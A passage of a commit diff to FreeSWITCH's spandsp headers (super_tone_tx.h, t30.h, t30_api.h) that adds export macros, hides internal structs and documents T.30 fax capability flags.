     \param samples The number of samples in the buffer.
     \return The number of samples processed.
 */
-int super_tone_rx(super_tone_rx_state_t *super, const int16_t amp[], int samples);
+SPAN_DECLARE(int) super_tone_rx(super_tone_rx_state_t *super, const int16_t amp[], int samples);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/super_tone_tx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/super_tone_tx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/super_tone_tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: super_tone_tx.h,v 1.13 2008/04/17 14:27:00 steveu Exp $
+ * $Id: super_tone_tx.h,v 1.17 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_SUPER_TONE_TX_H_)
@@ -43,55 +43,41 @@
 
 typedef struct super_tone_tx_step_s super_tone_tx_step_t;
 
-struct super_tone_tx_step_s
-{
-    tone_gen_tone_descriptor_t tone[4];
-    int tone_on;
-    int length;
-    int cycles;
-    super_tone_tx_step_t *next;
-    super_tone_tx_step_t *nest;
-};
+typedef struct super_tone_tx_state_s super_tone_tx_state_t;
 
-typedef struct
-{
-    tone_gen_tone_descriptor_t tone[4];
-    uint32_t phase[4];
-    int current_position;
-    int level;
-    super_tone_tx_step_t *levels[4];
-    int cycles[4];
-} super_tone_tx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
-super_tone_tx_step_t *super_tone_tx_make_step(super_tone_tx_step_t *s,
-                                              float f1,
-                                              float l1,
-                                              float f2,
-                                              float l2,
-                                              int length,
-                                              int cycles);
+SPAN_DECLARE(super_tone_tx_step_t *) super_tone_tx_make_step(super_tone_tx_step_t *s,
+                                                             float f1,
+                                                             float l1,
+                                                             float f2,
+                                                             float l2,
+                                                             int length,
+                                                             int cycles);
 
-void super_tone_tx_free(super_tone_tx_step_t *s);
+SPAN_DECLARE(int) super_tone_tx_free_tone(super_tone_tx_step_t *s);
 
 /*! Initialise a supervisory tone generator.
     \brief Initialise a supervisory tone generator.
     \param s The supervisory tone generator context.
     \param tree The supervisory tone tree to be generated.
     \return The supervisory tone generator context. */
-super_tone_tx_state_t *super_tone_tx_init(super_tone_tx_state_t *s, super_tone_tx_step_t *tree);
+SPAN_DECLARE(super_tone_tx_state_t *) super_tone_tx_init(super_tone_tx_state_t *s, super_tone_tx_step_t *tree);
 
+SPAN_DECLARE(int) super_tone_tx_release(super_tone_tx_state_t *s);
+
+SPAN_DECLARE(int) super_tone_tx_free(super_tone_tx_state_t *s);
+
 /*! Generate a block of audio samples for a supervisory tone pattern.
     \brief Generate a block of audio samples for a supervisory tone pattern.
     \param s The supervisory tone context.
     \param amp The audio sample buffer.
     \param max_samples The maximum number of samples to be generated.
     \return The number of samples generated. */
-int super_tone_tx(super_tone_tx_state_t *s, int16_t amp[], int max_samples);
+SPAN_DECLARE(int) super_tone_tx(super_tone_tx_state_t *s, int16_t amp[], int max_samples);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t30.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t30.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t30.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t30.h,v 1.115 2008/09/04 14:40:05 steveu Exp $
+ * $Id: t30.h,v 1.125 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
@@ -140,8 +140,11 @@
     - DCN usage
 */
 
+/*! The maximum length of a DIS, DTC or DCS frame */
 #define T30_MAX_DIS_DTC_DCS_LEN     22
+/*! The maximum length of the body of an ident string */
 #define T30_MAX_IDENT_LEN           20
+/*! The maximum length of the user string to insert in page headers */
 #define T30_MAX_PAGE_HEADER_INFO    50
 
 typedef struct t30_state_s t30_state_t;
@@ -190,7 +193,7 @@
 typedef void (t30_real_time_frame_handler_t)(t30_state_t *s,
                                              void *user_data,
                                              int direction,
-                                             const uint8_t *msg,
+                                             const uint8_t msg[],
                                              int len);
 
 /*!
@@ -220,7 +223,7 @@
     \param msg The HDLC message.
     \param len The length of the message.
 */
-typedef void (t30_send_hdlc_handler_t)(void *user_data, const uint8_t *msg, int len);
+typedef void (t30_send_hdlc_handler_t)(void *user_data, const uint8_t msg[], int len);
 
 /*!
     T.30 protocol completion codes, at phase E.
@@ -329,45 +332,76 @@
         dying. */
     T30_FRONT_END_RECEIVE_COMPLETE,
     T30_FRONT_END_SIGNAL_PRESENT,
-    T30_FRONT_END_SIGNAL_ABSENT
+    T30_FRONT_END_SIGNAL_ABSENT,
+    T30_FRONT_END_CED_PRESENT,
+    T30_FRONT_END_CNG_PRESENT
 };
 
 enum
 {
+    /*! Support the V.27ter modem (2400, and 4800bps) for image transfer. */
     T30_SUPPORT_V27TER = 0x01,
+    /*! Support the V.29 modem (9600, and 7200bps) for image transfer. */
     T30_SUPPORT_V29 = 0x02,
+    /*! Support the V.17 modem (14400, 12000, 9600 and 7200bps) for image transfer. */
     T30_SUPPORT_V17 = 0x04,
+    /*! Support the V.34 modem (up to 33,600bps) for image transfer. */
     T30_SUPPORT_V34 = 0x08,
+    /*! Support the Internet Aware FAX mode (no bit rate limit) for image transfer. */
     T30_SUPPORT_IAF = 0x10
 };
 
 enum
 {
+    /*! No compression */
     T30_SUPPORT_NO_COMPRESSION = 0x01,
+    /*! T.1 1D compression */
     T30_SUPPORT_T4_1D_COMPRESSION = 0x02,
+    /*! T.4 2D compression */
     T30_SUPPORT_T4_2D_COMPRESSION = 0x04,
+    /*! T.6 2D compression */
     T30_SUPPORT_T6_COMPRESSION = 0x08,
-    T30_SUPPORT_T85_COMPRESSION = 0x10,     /* Monochrome JBIG */
-    T30_SUPPORT_T43_COMPRESSION = 0x20,     /* Colour JBIG */
-    T30_SUPPORT_T45_COMPRESSION = 0x40      /* Run length colour compression */
+    /*! T.85 monochrome JBIG coding */
+    T30_SUPPORT_T85_COMPRESSION = 0x10,
+    /*! T.43 colour JBIG coding */
+    T30_SUPPORT_T43_COMPRESSION = 0x20,
+    /*! T.45 run length colour compression */
+    T30_SUPPORT_T45_COMPRESSION = 0x40,
+    /*! T.81 + T.30 Annex E colour JPEG coding */
+    T30_SUPPORT_T81_COMPRESSION = 0x80,
+    /*! T.81 + T.30 Annex K colour sYCC-JPEG coding */
+    T30_SUPPORT_SYCC_T81_COMPRESSION = 0x100
 };
 
 enum
 {
+    /*! Support standard FAX Y-resolution 98/100dpi */
     T30_SUPPORT_STANDARD_RESOLUTION = 0x01,
+    /*! Support fine FAX Y-resolution 196/200dpi */
     T30_SUPPORT_FINE_RESOLUTION = 0x02,
+    /*! Support super-fine FAX Y-resolution 392/400dpi */
     T30_SUPPORT_SUPERFINE_RESOLUTION = 0x04,
 
+    /*! Support half FAX X-resolution 100/102dpi */
     T30_SUPPORT_R4_RESOLUTION = 0x10000,
+    /*! Support standard FAX X-resolution 200/204dpi */
     T30_SUPPORT_R8_RESOLUTION = 0x20000,
+    /*! Support double FAX X-resolution 400dpi */
     T30_SUPPORT_R16_RESOLUTION = 0x40000,
 
+    /*! Support 300dpi x 300 dpi */
     T30_SUPPORT_300_300_RESOLUTION = 0x100000,
+    /*! Support 400dpi x 400 dpi */
     T30_SUPPORT_400_400_RESOLUTION = 0x200000,
+    /*! Support 600dpi x 600 dpi */
     T30_SUPPORT_600_600_RESOLUTION = 0x400000,
+    /*! Support 1200dpi x 1200 dpi */
     T30_SUPPORT_1200_1200_RESOLUTION = 0x800000,
+    /*! Support 300dpi x 600 dpi */
     T30_SUPPORT_300_600_RESOLUTION = 0x1000000,
+    /*! Support 400dpi x 800 dpi */
     T30_SUPPORT_400_800_RESOLUTION = 0x2000000,
+    /*! Support 600dpi x 1200 dpi */
     T30_SUPPORT_600_1200_RESOLUTION = 0x4000000
 };
 
@@ -386,29 +420,29 @@
 
 enum
 {
-    /*! Enable support of identification, through the SID and/or PWD frames */
+    /*! Enable support of identification, through the SID and/or PWD frames. */
     T30_SUPPORT_IDENTIFICATION = 0x01,
-    /*! Enable support of selective polling, through the SEP frame */
+    /*! Enable support of selective polling, through the SEP frame. */
     T30_SUPPORT_SELECTIVE_POLLING = 0x02,
-    /*! Enable support of polling sub-addressing, through the PSA frame */
+    /*! Enable support of polling sub-addressing, through the PSA frame. */
     T30_SUPPORT_POLLED_SUB_ADDRESSING = 0x04,
-    /*! Enable support of multiple selective polling, through repeated used of the SEP and PSA frames */
+    /*! Enable support of multiple selective polling, through repeated used of the SEP and PSA frames. */
     T30_SUPPORT_MULTIPLE_SELECTIVE_POLLING = 0x08,
-    /*! Enable support of sub-addressing, through the SUB frame */
+    /*! Enable support of sub-addressing, through the SUB frame. */
     T30_SUPPORT_SUB_ADDRESSING = 0x10,
-    /*! Enable support of transmitting subscriber internet address, through the TSA frame */
+    /*! Enable support of transmitting subscriber internet address, through the TSA frame. */
     T30_SUPPORT_TRANSMITTING_SUBSCRIBER_INTERNET_ADDRESS = 0x20,
-    /*! Enable support of internet routing address, through the IRA frame */
+    /*! Enable support of internet routing address, through the IRA frame. */
     T30_SUPPORT_INTERNET_ROUTING_ADDRESS = 0x40,
-    /*! Enable support of calling subscriber internet address, through the CIA frame */
+    /*! Enable support of calling subscriber internet address, through the CIA frame. */
     T30_SUPPORT_CALLING_SUBSCRIBER_INTERNET_ADDRESS = 0x80,
-    /*! Enable support of internet selective polling address, through the ISP frame */
+    /*! Enable support of internet selective polling address, through the ISP frame. */
     T30_SUPPORT_INTERNET_SELECTIVE_POLLING_ADDRESS = 0x100,
-    /*! Enable support of called subscriber internet address, through the CSA frame */
+    /*! Enable support of called subscriber internet address, through the CSA frame. */
     T30_SUPPORT_CALLED_SUBSCRIBER_INTERNET_ADDRESS = 0x200,
-    /*! Enable support of the field not valid (FNV) frame */
+    /*! Enable support of the field not valid (FNV) frame. */
     T30_SUPPORT_FIELD_NOT_VALID = 0x400,
-    /*! Enable support of the command repeat (CRP) frame */
+    /*! Enable support of the command repeat (CRP) frame. */
     T30_SUPPORT_COMMAND_REPEAT = 0x800
 };
 
@@ -427,7 +461,10 @@
         them. */
     T30_IAF_MODE_NO_FILL_BITS = 0x20,
     /*! No indicators means do not send indicator messages when using T.38. */
-    T30_IAF_MODE_NO_INDICATORS = 0x40
+    T30_IAF_MODE_NO_INDICATORS = 0x40,
+    /*! Use relaxed timers for T.38. This is appropriate when using TCP/TPKT for T.38,
+        as there is no point in anything but a long backstop timeout in such a mode. */
+    T30_IAF_MODE_RELAXED_TIMERS = 0x80
 };
 
 typedef struct
@@ -475,277 +512,36 @@
     size_t csa_len;
 } t30_exchanged_info_t;
 
-/*!
-    T.30 FAX channel descriptor. This defines the state of a single working
-    instance of a T.30 FAX channel.
-*/
-struct t30_state_s
-{
-    /* This must be kept the first thing in the structure, so it can be pointed
-       to reliably as the structures change over time. */
-    /*! \brief T.4 context for reading or writing image data. */
-    t4_state_t t4;
-    
-    int operation_in_progress;
-
-    /*! \brief TRUE if behaving as the calling party */
-    int calling_party;
-    
-    /*! \brief The received DCS, formatted as an ASCII string, for inclusion
-               in the TIFF file. */
-    char rx_dcs_string[T30_MAX_DIS_DTC_DCS_LEN*3 + 1];
-    /*! \brief The text which will be used in FAX page header. No text results
-               in no header line. */
-    char header_info[T30_MAX_PAGE_HEADER_INFO + 1];
-    /*! \brief The information fields received. */
-    t30_exchanged_info_t rx_info;
-    /*! \brief The information fields to be transmitted. */
-    t30_exchanged_info_t tx_info;
-    /*! \brief The country of origin of the remote machine, if known, else NULL. */
-    const char *country;
-    /*! \brief The vendor of the remote machine, if known, else NULL. */
-    const char *vendor;
-    /*! \brief The model of the remote machine, if known, else NULL. */
-    const char *model;
-
-    /*! \brief A pointer to a callback routine to be called when phase B events
-        occur. */
-    t30_phase_b_handler_t *phase_b_handler;
-    /*! \brief An opaque pointer supplied in event B callbacks. */
-    void *phase_b_user_data;
-    /*! \brief A pointer to a callback routine to be called when phase D events
-        occur. */
-    t30_phase_d_handler_t *phase_d_handler;
-    /*! \brief An opaque pointer supplied in event D callbacks. */
-    void *phase_d_user_data;
-    /*! \brief A pointer to a callback routine to be called when phase E events
-        occur. */
-    t30_phase_e_handler_t *phase_e_handler;
-    /*! \brief An opaque pointer supplied in event E callbacks. */
-    void *phase_e_user_data;
-    /*! \brief A pointer to a callback routine to be called when frames are
-        exchanged. */
-    t30_real_time_frame_handler_t *real_time_frame_handler;
-    /*! \brief An opaque pointer supplied in real time frame callbacks. */
-    void *real_time_frame_user_data;
-
-    /*! \brief A pointer to a callback routine to be called when document events
-        (e.g. end of transmitted document) occur. */
-    t30_document_handler_t *document_handler;
-    /*! \brief An opaque pointer supplied in document callbacks. */
-    void *document_user_data;
-
-    /*! \brief The handler for changes to the receive mode */
-    t30_set_handler_t *set_rx_type_handler;
-    /*! \brief An opaque pointer passed to the handler for changes to the receive mode */
-    void *set_rx_type_user_data;
-    /*! \brief The handler for changes to the transmit mode */
-    t30_set_handler_t *set_tx_type_handler;
-    /*! \brief An opaque pointer passed to the handler for changes to the transmit mode */
-    void *set_tx_type_user_data;
-
-    /*! \brief The transmitted HDLC frame handler. */
-    t30_send_hdlc_handler_t *send_hdlc_handler;
-    /*! \brief An opaque pointer passed to the transmitted HDLC frame handler. */
-    void *send_hdlc_user_data;
-
-    /*! \brief The DIS code for the minimum scan row time we require. This is usually 0ms,
-        but if we are trying to simulate another type of FAX machine, we may need a non-zero
-        value here. */
-    uint8_t local_min_scan_time_code;
-
-    /*! \brief The current T.30 phase. */
-    int phase;
-    /*! \brief The T.30 phase to change to when the current phase ends. */
-    int next_phase;
-    /*! \brief The current state of the T.30 state machine. */
-    int state;
-    /*! \brief The step in sending a sequence of HDLC frames. */
-    int step;
-
-    /*! \brief The preparation buffer for the DCS message to be transmitted. */
-    uint8_t dcs_frame[T30_MAX_DIS_DTC_DCS_LEN];
-    /*! \brief The length of the DCS message to be transmitted. */
-    int dcs_len;
-    /*! \brief The preparation buffer for DIS or DTC message to be transmitted. */
-    uint8_t local_dis_dtc_frame[T30_MAX_DIS_DTC_DCS_LEN];
-    /*! \brief The length of the DIS or DTC message to be transmitted. */
-    int local_dis_dtc_len;
-    /*! \brief The last DIS or DTC message received form the far end. */
-    uint8_t far_dis_dtc_frame[T30_MAX_DIS_DTC_DCS_LEN];
-    /*! \brief The length of the last DIS or DTC message received form the far end. */
-    int far_dis_dtc_len;
-    /*! \brief TRUE if a valid DIS has been received from the far end. */
-    int dis_received;
-
-    /*! \brief A flag to indicate a message is in progress. */
-    int in_message;
-
-    /*! \brief TRUE if the short training sequence should be used. */
-    int short_train;
-
-    /*! \brief A count of the number of bits in the trainability test. This counts down to zero when
-        sending TCF, and counts up when receiving it. */
-    int tcf_test_bits;
-    /*! \brief The current count of consecutive received zero bits, during the trainability test. */
-    int tcf_current_zeros;
-    /*! \brief The maximum consecutive received zero bits seen to date, during the trainability test. */
-    int tcf_most_zeros;
-
-    /*! \brief The current fallback step for the fast message transfer modem. */
-    int current_fallback;
-    /*! \brief The subset of supported modems allowed at the current time, allowing for negotiation. */
-    int current_permitted_modems;
-    /*! \brief TRUE if a carrier is present. Otherwise FALSE. */
-    int rx_signal_present;
-    /*! \brief TRUE if a modem has trained correctly. */
-    int rx_trained;
-    /*! \brief TRUE if a valid HDLC frame has been received in the current reception period. */
-    int rx_frame_received;
-
-    /*! \brief Current reception mode. */
-    int current_rx_type;
-    /*! \brief Current transmission mode. */
-    int current_tx_type;
-
-    /*! \brief T0 is the answer timeout when calling another FAX machine.
-        Placing calls is handled outside the FAX processing, but this timeout keeps
-        running until V.21 modulation is sent or received.
-        T1 is the remote terminal identification timeout (in audio samples). */
-    int timer_t0_t1;
-    /*! \brief T2, T2A and T2B are the HDLC command timeouts.
-               T4, T4A and T4B are the HDLC response timeouts (in audio samples). */
-    int timer_t2_t4;
-    /*! \brief A value specifying which of the possible timers is currently running in timer_t2_t4 */
-    int timer_t2_t4_is;
-    /*! \brief Procedural interrupt timeout (in audio samples). */
-    int timer_t3;
-    /*! \brief This is only used in error correcting mode. */
-    int timer_t5;
-    /*! \brief This is only used in full duplex (e.g. ISDN) modes. */
-    int timer_t6;
-    /*! \brief This is only used in full duplex (e.g. ISDN) modes. */
-    int timer_t7;
-    /*! \brief This is only used in full duplex (e.g. ISDN) modes. */
-    int timer_t8;
-
-    /*! \brief TRUE once the far end FAX entity has been detected. */
-    int far_end_detected;
-
-    /*! \brief TRUE if a local T.30 interrupt is pending. */
-    int local_interrupt_pending;
-    /*! \brief The image coding being used on the line. */
-    int line_encoding;
-    /*! \brief The image coding being used for output files. */
-    int output_encoding;
-    /*! \brief The current DCS message minimum scan time code. */
-    uint8_t min_scan_time_code;
-    /*! \brief The X direction resolution of the current image, in pixels per metre. */
-    int x_resolution;
-    /*! \brief The Y direction resolution of the current image, in pixels per metre. */
-    int y_resolution;
-    /*! \brief The width of the current image, in pixels. */
-    t4_image_width_t image_width;
-    /*! \brief Current number of retries of the action in progress. */
-    int retries;
-    /*! \brief TRUE if error correcting mode is used. */
-    int error_correcting_mode;
-    /*! \brief The current count of consecutive T30_PPR messages. */
-    int ppr_count;
-    /*! \brief The current count of consecutive T30_RNR messages. */
-    int receiver_not_ready_count;
-    /*! \brief The number of octets to be used per ECM frame. */
-    int octets_per_ecm_frame;
-    /*! \brief The ECM partial page buffer. */
-    uint8_t ecm_data[256][260];
-    /*! \brief The lengths of the frames in the ECM partial page buffer. */
-    int16_t ecm_len[256];
-    /*! \brief A bit map of the OK ECM frames, constructed as a PPR frame. */
-    uint8_t ecm_frame_map[3 + 32];
-    
-    /*! \brief The current page number for receiving, in ECM mode. This is reset at the start of a call. */
-    int ecm_rx_page;
-    /*! \brief The current page number for sending, in ECM mode. This is reset at the start of a call. */
-    int ecm_tx_page;
-    /*! \brief The current block number, in ECM mode */
-    int ecm_block;
-    /*! \brief The number of frames in the current block number, in ECM mode */
-    int ecm_frames;
-    /*! \brief The number of frames sent in the current burst of image transmission, in ECM mode */
-    int ecm_frames_this_tx_burst;
-    /*! \brief The current ECM frame, during ECM transmission. */
-    int ecm_current_tx_frame;
-    /*! \brief TRUE if we are at the end of an ECM page to se sent - i.e. there are no more
-        partial pages still to come. */
-    int ecm_at_page_end;
-    int next_tx_step;
-    int next_rx_step;
-    /*! \brief Image file name for image reception. */
-    char rx_file[256];
-    /*! \brief The last page we are prepared accept for a received image file. -1 means no restriction. */
-    int rx_stop_page;
-    /*! \brief Image file name to be sent. */
-    char tx_file[256];
-    /*! \brief The first page to be sent from the image file. -1 means no restriction. */
-    int tx_start_page;
-    /*! \brief The last page to be sent from the image file. -1 means no restriction. */
-    int tx_stop_page;
-    int current_status;
-    /*! \brief Internet Aware FAX mode bit mask. */
-    int iaf;
-    /*! \brief A bit mask of the currently supported modem types. */
-    int supported_modems;
-    /*! \brief A bit mask of the currently supported image compression modes. */
-    int supported_compressions;
-    /*! \brief A bit mask of the currently supported image resolutions. */
-    int supported_resolutions;
-    /*! \brief A bit mask of the currently supported image sizes. */
-    int supported_image_sizes;
-    /*! \brief A bit mask of the currently supported T.30 special features. */
-    int supported_t30_features;
-    /*! \brief TRUE is ECM mode handling is enabled. */
-    int ecm_allowed;
-    
-    /*! \brief the FCF2 field of the last PPS message we received. */
-    int last_pps_fcf2;
-    /*! \brief The number of the first ECM frame which we do not currently received correctly. For
-        a partial page received correctly, this will be one greater than the number of frames it
-        contains. */
-    int ecm_first_bad_frame;
-    /*! \brief A count of successfully received ECM frames, to assess progress as a basis for
-        deciding whether to continue error correction when PPRs keep repeating. */
-    int ecm_progress;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-};
-
 typedef struct
 {
     /*! \brief The current bit rate for image transfer. */
     int bit_rate;
     /*! \brief TRUE if error correcting mode is used. */
     int error_correcting_mode;
-    /*! \brief The number of pages transferred so far. */
-    int pages_transferred;
+    /*! \brief The number of pages sent so far. */
+    int pages_tx;
+    /*! \brief The number of pages received so far. */
+    int pages_rx;
     /*! \brief The number of pages in the file (<0 if not known). */
     int pages_in_file;
+    /*! \brief The horizontal column-to-column resolution of the page, in pixels per metre */
+    int x_resolution;
+    /*! \brief The vertical row-to-row resolution of the page, in pixels per metre */
+    int y_resolution;
     /*! \brief The number of horizontal pixels in the most recent page. */
     int width;
     /*! \brief The number of vertical pixels in the most recent page. */
     int length;
+    /*! \brief The size of the image, in bytes */
+    int image_size;
+    /*! \brief The type of compression used between the FAX machines */
+    int encoding;
     /*! \brief The number of bad pixel rows in the most recent page. */
     int bad_rows;
     /*! \brief The largest number of bad pixel rows in a block in the most recent page. */
     int longest_bad_row_run;
-    /*! \brief The horizontal column-to-column resolution of the page in pixels per metre */
-    int x_resolution;
-    /*! \brief The vertical row-to-row resolution of the page in pixels per metre */
-    int y_resolution;
-    /*! \brief The type of compression used between the FAX machines */
-    int encoding;
-    /*! \brief The size of the image, in bytes */
-    int image_size;
+    /*! \brief The number of HDLC frame retries, if error correcting mode is used. */
+    int error_correcting_mode_retries;
     /*! \brief Current status */
     int current_status;
 } t30_stats_t;
@@ -767,55 +563,62 @@
     \param send_hdlc_handler
     \param send_hdlc_user_data
     \return A pointer to the context, or NULL if there was a problem. */
-t30_state_t *t30_init(t30_state_t *s,
-                      int calling_party,
-                      t30_set_handler_t *set_rx_type_handler,
-                      void *set_rx_type_user_data,
-                      t30_set_handler_t *set_tx_type_handler,
-                      void *set_tx_type_user_data,
-                      t30_send_hdlc_handler_t *send_hdlc_handler,
-                      void *send_hdlc_user_data);
+SPAN_DECLARE(t30_state_t *) t30_init(t30_state_t *s,
+                                     int calling_party,
+                                     t30_set_handler_t *set_rx_type_handler,
+                                     void *set_rx_type_user_data,
+                                     t30_set_handler_t *set_tx_type_handler,
+                                     void *set_tx_type_user_data,
+                                     t30_send_hdlc_handler_t *send_hdlc_handler,
+                                     void *send_hdlc_user_data);
 
 /*! Release a T.30 context.
     \brief Release a T.30 context.
     \param s The T.30 context.
     \return 0 for OK, else -1. */
-int t30_release(t30_state_t *s);
+SPAN_DECLARE(int) t30_release(t30_state_t *s);
 
 /*! Free a T.30 context.
     \brief Free a T.30 context.
     \param s The T.30 context.
     \return 0 for OK, else -1. */
-int t30_free(t30_state_t *s);
+SPAN_DECLARE(int) t30_free(t30_state_t *s);
 
 /*! Restart a T.30 context.
     \brief Restart a T.30 context.
     \param s The T.30 context.
     \return 0 for OK, else -1. */
-int t30_restart(t30_state_t *s);
+SPAN_DECLARE(int) t30_restart(t30_state_t *s);
 
+/*! Check if a T.30 call is still active. This may be used to regularly poll
+    if the job has finished.
+    \brief Check if a T.30 call is still active.
+    \param s The T.30 context.
+    \return TRUE for call still active, or FALSE for call completed. */
+SPAN_DECLARE(int) t30_call_active(t30_state_t *s);
+
 /*! Cleanup a T.30 context if the call terminates.
     \brief Cleanup a T.30 context if the call terminates.
     \param s The T.30 context. */
-void t30_terminate(t30_state_t *s);
+SPAN_DECLARE(void) t30_terminate(t30_state_t *s);
 
 /*! Inform the T.30 engine of a status change in the front end (end of tx, rx signal change, etc.).
     \brief Inform the T.30 engine of a status change in the front end (end of tx, rx signal change, etc.).
     \param user_data The T.30 context.
     \param status The type of status change which occured. */
-void t30_front_end_status(void *user_data, int status);
+SPAN_DECLARE(void) t30_front_end_status(void *user_data, int status);
 
 /*! Get a bit of received non-ECM image data.
     \brief Get a bit of received non-ECM image data.
     \param user_data An opaque pointer, which must point to the T.30 context.
     \return The next bit to transmit. */
-int t30_non_ecm_get_bit(void *user_data);
+SPAN_DECLARE_NONSTD(int) t30_non_ecm_get_bit(void *user_data);
 
 /*! Get a byte of received non-ECM image data.
     \brief Get a byte of received non-ECM image data.
     \param user_data An opaque pointer, which must point to the T.30 context.
     \return The next byte to transmit. */
-int t30_non_ecm_get_byte(void *user_data);
+SPAN_DECLARE(int) t30_non_ecm_get_byte(void *user_data);
 
 /*! Get a chunk of received non-ECM image data.
     \brief Get a bit of received non-ECM image data.
@@ -823,26 +626,26 @@
     \param buf The buffer to contain the data.
     \param max_len The maximum length of the chunk.
     \return The actual length of the chunk. */
-int t30_non_ecm_get_chunk(void *user_data, uint8_t buf[], int max_len);
+SPAN_DECLARE(int) t30_non_ecm_get_chunk(void *user_data, uint8_t buf[], int max_len);
 
 /*! Process a bit of received non-ECM image data.
     \brief Process a bit of received non-ECM image data
     \param user_data An opaque pointer, which must point to the T.30 context.
     \param bit The received bit. */
-void t30_non_ecm_put_bit(void *user_data, int bit);
+SPAN_DECLARE_NONSTD(void) t30_non_ecm_put_bit(void *user_data, int bit);
 
 /*! Process a byte of received non-ECM image data.
     \brief Process a byte of received non-ECM image data
     \param user_data An opaque pointer, which must point to the T.30 context.
     \param byte The received byte. */
-void t30_non_ecm_put_byte(void *user_data, int byte);
+SPAN_DECLARE(void) t30_non_ecm_put_byte(void *user_data, int byte);
 
 /*! Process a chunk of received non-ECM image data.
     \brief Process a chunk of received non-ECM image data
     \param user_data An opaque pointer, which must point to the T.30 context.
     \param buf The buffer containing the received data.
     \param len The length of the data in buf. */
-void t30_non_ecm_put_chunk(void *user_data, const uint8_t buf[], int len);
+SPAN_DECLARE(void) t30_non_ecm_put_chunk(void *user_data, const uint8_t buf[], int len);
 
 /*! Process a received HDLC frame.
     \brief Process a received HDLC frame.
@@ -850,25 +653,25 @@
     \param msg The HDLC message.
     \param len The length of the message, in octets.
     \param ok TRUE if the frame was received without error. */
-void t30_hdlc_accept(void *user_data, const uint8_t *msg, int len, int ok);
+SPAN_DECLARE_NONSTD(void) t30_hdlc_accept(void *user_data, const uint8_t msg[], int len, int ok);
 
 /*! Report the passage of time to the T.30 engine.
     \brief Report the passage of time to the T.30 engine.
     \param s The T.30 context.
     \param samples The time change in 1/8000th second steps. */
-void t30_timer_update(t30_state_t *s, int samples);
+SPAN_DECLARE(void) t30_timer_update(t30_state_t *s, int samples);
 
 /*! Get the current transfer statistics for the file being sent or received.
     \brief Get the current transfer statistics.
     \param s The T.30 context.
     \param t A pointer to a buffer for the statistics. */
-void t30_get_transfer_statistics(t30_state_t *s, t30_stats_t *t);
+SPAN_DECLARE(void) t30_get_transfer_statistics(t30_state_t *s, t30_stats_t *t);
 
 /*! Request a local interrupt of FAX exchange.
     \brief Request a local interrupt of FAX exchange.
     \param s The T.30 context.
     \param state TRUE to enable interrupt request, else FALSE. */
-void t30_local_interrupt_request(t30_state_t *s, int state);
+SPAN_DECLARE(void) t30_local_interrupt_request(t30_state_t *s, int state);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t30_api.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t30_api.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t30_api.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t30_api.h,v 1.6 2008/08/14 14:06:05 steveu Exp $
+ * $Id: t30_api.h,v 1.10 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
@@ -41,107 +41,103 @@
     \param nsf A pointer to the frame.
     \param len The length of the frame.
     \return 0 for OK, else -1. */
-int t30_set_tx_nsf(t30_state_t *s, const uint8_t *nsf, int len);
+SPAN_DECLARE(int) t30_set_tx_nsf(t30_state_t *s, const uint8_t *nsf, int len);
 
 /*! Get an NSF frame to be associated with a T.30 context.
     \brief Set an NSF frame to be associated with a T.30 context.
     \param s The T.30 context.
     \param nsf A pointer to the frame.
     \return the length of the NSF message. */
-size_t t30_get_tx_nsf(t30_state_t *s, const uint8_t *nsf[]);
+SPAN_DECLARE(size_t) t30_get_tx_nsf(t30_state_t *s, const uint8_t *nsf[]);
 
 /*! Get an NSF frame to be associated with a T.30 context.
     \brief Set an NSF frame to be associated with a T.30 context.
     \param s The T.30 context.
     \param nsf A pointer to the frame.
     \return the length of the NSF message. */
-size_t t30_get_rx_nsf(t30_state_t *s, const uint8_t *nsf[]);
+SPAN_DECLARE(size_t) t30_get_rx_nsf(t30_state_t *s, const uint8_t *nsf[]);
 
 /*! Set the transmitted NSC frame to be associated with a T.30 context.
     \brief Set the transmitted NSC frame to be associated with a T.30 context.
     \param s The T.30 context.
-    \param nsf A pointer to the frame.
+    \param nsc A pointer to the frame.
     \param len The length of the frame.
     \return 0 for OK, else -1. */
-int t30_set_tx_nsc(t30_state_t *s, const uint8_t *nsc, int len);
+SPAN_DECLARE(int) t30_set_tx_nsc(t30_state_t *s, const uint8_t *nsc, int len);
 
 /*! Get an NSC frame to be associated with a T.30 context.
     \brief Set an NSC frame to be associated with a T.30 context.
     \param s The T.30 context.
     \param nsc A pointer to the frame.
     \return the length of the NSC message. */
-size_t t30_get_tx_nsc(t30_state_t *s, const uint8_t *nsc[]);
+SPAN_DECLARE(size_t) t30_get_tx_nsc(t30_state_t *s, const uint8_t *nsc[]);
 
 /*! Get an NSC frame to be associated with a T.30 context.
     \brief Set an NSC frame to be associated with a T.30 context.
     \param s The T.30 context.
     \param nsc A pointer to the frame.
     \return the length of the NSC message. */
-size_t t30_get_rx_nsc(t30_state_t *s, const uint8_t *nsc[]);
